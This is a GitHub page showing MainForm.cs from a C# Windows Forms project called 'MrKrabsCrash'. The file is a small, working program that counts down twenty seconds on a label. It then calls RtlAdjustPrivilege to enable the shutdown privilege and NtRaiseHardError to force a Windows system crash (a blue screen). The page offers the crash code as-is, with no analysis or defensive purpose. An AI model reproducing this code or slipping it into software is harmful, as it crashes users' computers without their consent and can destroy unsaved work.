-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathMainForm.cs
53 lines (48 loc) · 1.46 KB
/
MainForm.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*
* Created by SharpDevelop.
* User: Roanne
* Date: 3/28/2023
* Time: 10:06 AM
*
* To change this template use Tools | Options | Coding | Edit Standard Headers.
*/
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
using System;
using System.Runtime.InteropServices;
namespace MrKrabsCrash
{
/// <summary>
/// Description of MainForm.
/// </summary>
public partial class MainForm : Form
{
[DllImport("ntdll.dll")]
public static extern uint RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue);
[DllImport("ntdll.dll")]
public static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response);
public MainForm()
{
//
// The InitializeComponent() call is required for Windows Forms designer support.
//
InitializeComponent();
//
// TODO: Add constructor code after the InitializeComponent() call.
//
}
int timertick1 = 20;
void Timer1Tick(object sender, EventArgs e)
{
timertick1 = timertick1 - 1;
label2.Text = timertick1.ToString();
if (timertick1 == 0) {
Boolean t1;
uint t2;
RtlAdjustPrivilege(19, true, false, out t1);
NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out t2);
}
}
}
}